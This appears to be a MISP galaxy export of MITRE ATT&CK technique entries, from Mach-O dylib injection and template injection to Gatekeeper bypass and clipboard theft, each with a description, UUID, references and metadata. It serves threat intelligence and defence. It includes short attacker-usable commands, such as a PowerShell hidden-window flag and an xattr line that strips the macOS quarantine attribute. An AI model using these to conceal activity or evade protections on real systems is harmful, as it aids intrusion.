Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time (Citation: Malware Persistence on OS X).
Internal MISP references
UUID 04ef4356-8926-45e2-9441-634b6f3dcecb which can be used as unique global reference for LC_LOAD_DYLIB Addition - T1161 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1161 |
| kill_chain | ['attack-macOS:persistence'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
Code Signing - T1116
Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)
Code signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)
Code signing certificates may be used to bypass security policies that require signed code to execute on a system.
Internal MISP references
UUID 1b84d551-6de8-4b96-9930-d177677c3b1d which can be used as unique global reference for Code Signing - T1116 in MISP communities and other software using the MISP galaxy
External references
- http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates - webarchive
- http://www.thesafemac.com/new-signed-malware-called-janicab/ - webarchive
- https://attack.mitre.org/techniques/T1116 - webarchive
- https://en.wikipedia.org/wiki/Code_signing - webarchive
- https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1116 |
| kill_chain | ['attack-macOS:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_platforms | ['macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Automated Collection - T1119
Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a Command and Scripting Interpreter to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals.
In cloud-based environments, adversaries may also use cloud APIs, data pipelines, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data.(Citation: Mandiant UNC3944 SMS Phishing 2023)
This functionality could also be built into remote access tools.
This technique may incorporate use of other techniques such as File and Directory Discovery and Lateral Tool Transfer to identify and move files, as well as Cloud Service Dashboard and Cloud Storage Object Discovery to identify resources in cloud environments.
Internal MISP references
UUID 30208d3e-0d6b-43c8-883e-44462a514619 which can be used as unique global reference for Automated Collection - T1119 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1119 |
| kill_chain | ['attack-Linux:collection', 'attack-macOS:collection', 'attack-Windows:collection', 'attack-IaaS:collection', 'attack-SaaS:collection'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access', 'Script: Script Execution'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'IaaS', 'SaaS'] |
Template Injection - T1221
Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)
Properties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.
Adversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as Phishing and/or Taint Shared Content and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)
Adversaries may also modify the *\template control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)
This technique may also enable Forced Authentication by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)
Internal MISP references
UUID dc31fe1e-d722-49da-8f5f-92c7b5aff534 which can be used as unique global reference for Template Injection - T1221 in MISP communities and other software using the MISP galaxy
External references
- http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html - webarchive
- https://attack.mitre.org/techniques/T1221 - webarchive
- https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/ - webarchive
- https://blog.talosintelligence.com/2017/07/template-injection.html - webarchive
- https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/ - webarchive
- https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12) - webarchive
- https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104 - webarchive
- https://github.com/ryhanson/phishery - webarchive
- https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread - webarchive
- https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1221 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Audio Capture - T1123
An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.(Citation: ESET Attor Oct 2019)
Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.
Internal MISP references
UUID 1035cdf2-3e5f-446f-a7a7-e8f6d7925967 which can be used as unique global reference for Audio Capture - T1123 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1123 |
| kill_chain | ['attack-Linux:collection', 'attack-macOS:collection', 'attack-Windows:collection'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Data Encoding - T1132
Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.
Internal MISP references
UUID cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f which can be used as unique global reference for Data Encoding - T1132 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1132 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Encrypted Channel - T1521
Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.
Internal MISP references
UUID ed2c05a1-4f81-4d97-9e1b-aff01c34ae84 which can be used as unique global reference for Encrypted Channel - T1521 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1521 |
| kill_chain | ['mobile-attack-Android:command-and-control', 'mobile-attack-iOS:command-and-control'] |
| mitre_platforms | ['Android', 'iOS'] |
Video Capture - T1512
An adversary can leverage a device’s cameras to gather information by capturing video recordings. Images may also be captured, potentially in specified intervals, in lieu of video files.
Malware or scripts may interact with the device cameras through an available API provided by the operating system. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of the device’s cameras for video recording rather than capturing the victim’s screen.
In Android, an application must hold the android.permission.CAMERA permission to access the cameras. In iOS, applications must include the NSCameraUsageDescription key in the Info.plist file. In both cases, the user must grant permission to the requesting application to use the camera. If the device has been rooted or jailbroken, an adversary may be able to access the camera without knowledge of the user.
Internal MISP references
UUID d8940e76-f9c1-4912-bea6-e21c251370b6 which can be used as unique global reference for Video Capture - T1512 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1512 |
| kill_chain | ['mobile-attack-Android:collection', 'mobile-attack-iOS:collection'] |
| mitre_platforms | ['Android', 'iOS'] |
Video Capture - T1125
An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.
Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim's screen.
In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)
Internal MISP references
UUID 6faf650d-bf31-4eb4-802d-1000cf38efaf which can be used as unique global reference for Video Capture - T1125 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1125 |
| kill_chain | ['attack-Windows:collection', 'attack-macOS:collection', 'attack-Linux:collection'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution'] |
| mitre_platforms | ['Windows', 'macOS', 'Linux'] |
Login Item - T1162
MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's ~/Library/Preferences/ directory in a plist file called com.apple.loginitems.plist (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to ‘Hide’ the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method SMLoginItemSetEnabled can be used to set Login Items, but scripting languages like AppleScript can do this as well (Citation: Adding Login Items).
Internal MISP references
UUID 36675cd3-fe00-454c-8516-aebecacbe9d9 which can be used as unique global reference for Login Item - T1162 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1162 - webarchive
- https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/ - webarchive
- https://capec.mitre.org/data/definitions/564.html - webarchive
- https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html - webarchive
- https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1162 |
| kill_chain | ['attack-macOS:persistence'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
Domain Fronting - T1172
Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, "domainless" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).
For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.
Internal MISP references
UUID 1ce03c65-5946-4ac9-9d4d-66db87e024bd which can be used as unique global reference for Domain Fronting - T1172 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1172 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
AppCert DLLs - T1182
Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)
Similar to Process Injection, this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.
Internal MISP references
UUID 4bf5845d-a814-4490-bc5c-ccdee6043025 which can be used as unique global reference for AppCert DLLs - T1182 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1182 - webarchive
- https://forum.sysinternals.com/appcertdlls_topic12546.html - webarchive
- https://technet.microsoft.com/en-us/sysinternals/bb963902 - webarchive
- https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1182 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Spearphishing Link - T1192
Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments.
All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging User Execution. The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to Steal Application Access Tokens, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)
Internal MISP references
UUID 20138b9d-1aac-4a26-8654-a36b6bbf2bba which can be used as unique global reference for Spearphishing Link - T1192 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1192 |
| kill_chain | ['attack-Windows:initial-access', 'attack-macOS:initial-access', 'attack-Linux:initial-access', 'attack-Office-365:initial-access', 'attack-SaaS:initial-access'] |
| mitre_platforms | ['Windows', 'macOS', 'Linux', 'Office 365', 'SaaS'] |
Related clusters
To see the related clusters, click here.
Shared Modules - T1129
Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API).
Adversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, adversaries can modularize functionality of their malware into shared objects that perform various functions such as managing C2 network communications or execution of specific actions on objective.
The Linux & macOS module loader can load and execute shared objects from arbitrary local paths. This functionality resides in dlfcn.h in functions such as dlopen and dlsym. Although macOS can execute .so files, common practice uses .dylib files.(Citation: Apple Dev Dynamic Libraries)(Citation: Linux Shared Libraries)(Citation: RotaJakiro 2021 netlab360 analysis)(Citation: Unit42 OceanLotus 2017)
The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like LoadLibrary at run time.(Citation: Microsoft DLL)
Internal MISP references
UUID 0a5231ec-41af-4a35-83d0-6bdf11f28c65 which can be used as unique global reference for Shared Modules - T1129 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1129 - webarchive
- https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/ - webarchive
- https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html - webarchive
- https://learn.microsoft.com/troubleshoot/windows-client/deployment/dynamic-link-library - webarchive
- https://tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html - webarchive
- https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1129 |
| kill_chain | ['attack-Windows:execution', 'attack-macOS:execution', 'attack-Linux:execution'] |
| mitre_data_sources | ['Module: Module Load', 'Process: OS API Execution'] |
| mitre_platforms | ['Windows', 'macOS', 'Linux'] |
Obfuscate infrastructure - T1331
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: FireEyeAPT17)
Internal MISP references
UUID 72c8d526-1247-42d4-919c-6d7a31ca8f39 which can be used as unique global reference for Obfuscate infrastructure - T1331 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1331 |
| kill_chain | ['pre-attack:establish-&-maintain-infrastructure'] |
Related clusters
To see the related clusters, click here.
Hidden Window - T1143
Adversaries may implement hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.
Windows
There are a variety of features in scripting languages in Windows, such as PowerShell, Jscript, and VBScript to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden. (Citation: PowerShell About 2019)
Mac
The configurations for how applications run on macOS are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window.(Citation: Antiquated Mac Malware)
Internal MISP references
UUID 04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf which can be used as unique global reference for Hidden Window - T1143 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1143 |
| kill_chain | ['attack-macOS:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_platforms | ['macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Screen Capture - T1513
Adversaries may use screen capture to collect additional information about a target device, such as applications running in the foreground, user data, credentials, or other sensitive information. Applications running in the background can capture screenshots or videos of another application running in the foreground by using the Android MediaProjectionManager (generally requires the device user to grant consent).(Citation: Fortinet screencap July 2019)(Citation: Android ScreenCap1 2019) Background applications can also use Android accessibility services to capture screen contents being displayed by a foreground application.(Citation: Lookout-Monokle) An adversary with root access or Android Debug Bridge (adb) access could call the Android screencap or screenrecord commands.(Citation: Android ScreenCap2 2019)(Citation: Trend Micro ScreenCap July 2015)
Internal MISP references
UUID 73c26732-6422-4081-8b63-6d0ae93d449e which can be used as unique global reference for Screen Capture - T1513 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1513 - webarchive
- https://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-rcsandroid-spying-tool-listens-to-calls-roots-devices-to-get-in/ - webarchive
- https://developer.android.com/reference/android/media/projection/MediaProjectionManager - webarchive
- https://developer.android.com/studio/command-line/adb - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-40.html - webarchive
- https://www.fortinet.com/blog/threat-research/new-wave-bianlian-malware.html - webarchive
- https://www.lookout.com/documents/threat-reports/lookout-discovers-monokle-threat-report.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1513 |
| kill_chain | ['mobile-attack-Android:collection'] |
| mitre_platforms | ['Android'] |
Create Account - T1136
Adversaries may create an account to maintain access to victim systems.(Citation: Symantec WastedLocker June 2020) With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Accounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.
Internal MISP references
UUID e01be9c5-e763-4caf-aeb7-000b416aef67 which can be used as unique global reference for Create Account - T1136 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1136 |
| kill_chain | ['attack-Windows:persistence', 'attack-Azure-AD:persistence', 'attack-Office-365:persistence', 'attack-IaaS:persistence', 'attack-Linux:persistence', 'attack-macOS:persistence', 'attack-Google-Workspace:persistence', 'attack-Network:persistence', 'attack-Containers:persistence', 'attack-SaaS:persistence'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'User Account: User Account Creation'] |
| mitre_platforms | ['Windows', 'Azure AD', 'Office 365', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Network', 'Containers', 'SaaS'] |
Process Injection - T1631
Adversaries may inject code into processes in order to evade process-based defenses or even elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Both Android and iOS have no legitimate way to achieve process injection. The only way this is possible is by abusing existing root access or exploiting a vulnerability.
Internal MISP references
UUID b7c0e45f-0206-4f75-96e7-fe7edad3aaff which can be used as unique global reference for Process Injection - T1631 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1631 |
| kill_chain | ['mobile-attack-Android:defense-evasion', 'mobile-attack-iOS:defense-evasion', 'mobile-attack-Android:privilege-escalation', 'mobile-attack-iOS:privilege-escalation'] |
| mitre_platforms | ['Android', 'iOS'] |
Application Shimming - T1138
The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses Hooking to redirect the code as necessary in order to communicate with the OS.
A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:
%WINDIR%\AppPatch\sysmain.sdbhklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb
Custom databases are stored in:
%WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Customhklm\software\microsoft\windows nt\currentversion\appcompatflags\custom
To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to Hooking, utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.
Internal MISP references
UUID 7c93aa74-4bc0-4a9e-90ea-f25f86301566 which can be used as unique global reference for Application Shimming - T1138 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1138 - webarchive
- https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf - webarchive
- https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1138 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Authentication attempt - T1381
This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.
Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials to authenticate remotely. This access could be to a web portal, through a VPN, or in a phone app. (Citation: Remote Access Healthcare) (Citation: RDP Point of Sale)
Internal MISP references
UUID 4dfb98ea-03cc-4a9c-a3a7-b22e14f126c4 which can be used as unique global reference for Authentication attempt - T1381 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1381 |
| kill_chain | ['pre-attack:launch'] |
Spearphishing Attachment - T1193
Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution.
There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.
Internal MISP references
UUID 6aac77c4-eaf2-4366-8c13-ce50ab951f38 which can be used as unique global reference for Spearphishing Attachment - T1193 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1193 |
| kill_chain | ['attack-Windows:initial-access', 'attack-macOS:initial-access', 'attack-Linux:initial-access'] |
| mitre_platforms | ['Windows', 'macOS', 'Linux'] |
Related clusters
To see the related clusters, click here.
Bash History - T1139
Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)
Internal MISP references
UUID 44dca04b-808d-46ca-b25f-d85236d4b9f8 which can be used as unique global reference for Bash History - T1139 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1139 |
| kill_chain | ['attack-Linux:credential-access', 'attack-macOS:credential-access'] |
| mitre_platforms | ['Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Gatekeeper Bypass - T1144
In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution.
Apps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, other utilities or events like drive-by downloads don’t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)
In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)
Internal MISP references
UUID 6fb6408c-0db3-41d9-a3a1-a32e5f16454e which can be used as unique global reference for Gatekeeper Bypass - T1144 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1144 - webarchive
- https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/ - webarchive
- https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/ - webarchive
- https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update - webarchive
- https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1144 |
| kill_chain | ['attack-macOS:defense-evasion'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
Clipboard Data - T1414
Adversaries may abuse clipboard manager APIs to obtain sensitive information copied to the device clipboard. For example, passwords being copied and pasted from a password manager application could be captured by a malicious application installed on the device.(Citation: Fahl-Clipboard)
On Android, applications can use the ClipboardManager.OnPrimaryClipChangedListener() API to register as a listener and monitor the clipboard for changes. However, starting in Android 10, this can only be used if the application is in the foreground, or is set as the device’s default input method editor (IME).(Citation: Github Capture Clipboard 2019)(Citation: Android 10 Privacy Changes)
On iOS, this can be accomplished by accessing the UIPasteboard.general.string field. However, starting in iOS 14, upon accessing the clipboard, the user will be shown a system notification if the accessed text originated in a different application. For example, if the user copies the text of an iMessage from the Messages application, the notification will read “application_name has pasted from Messages” when the text was pasted in a different application.(Citation: UIPPasteboard)
Internal MISP references
UUID c4b96c0b-cb58-497a-a1c2-bb447d79d692 which can be used as unique global reference for Clipboard Data - T1414 in MISP communities and other software using the MISP galaxy
External references
- http://saschafahl.de/static/paper/pwmanagers2013.pdf - webarchive
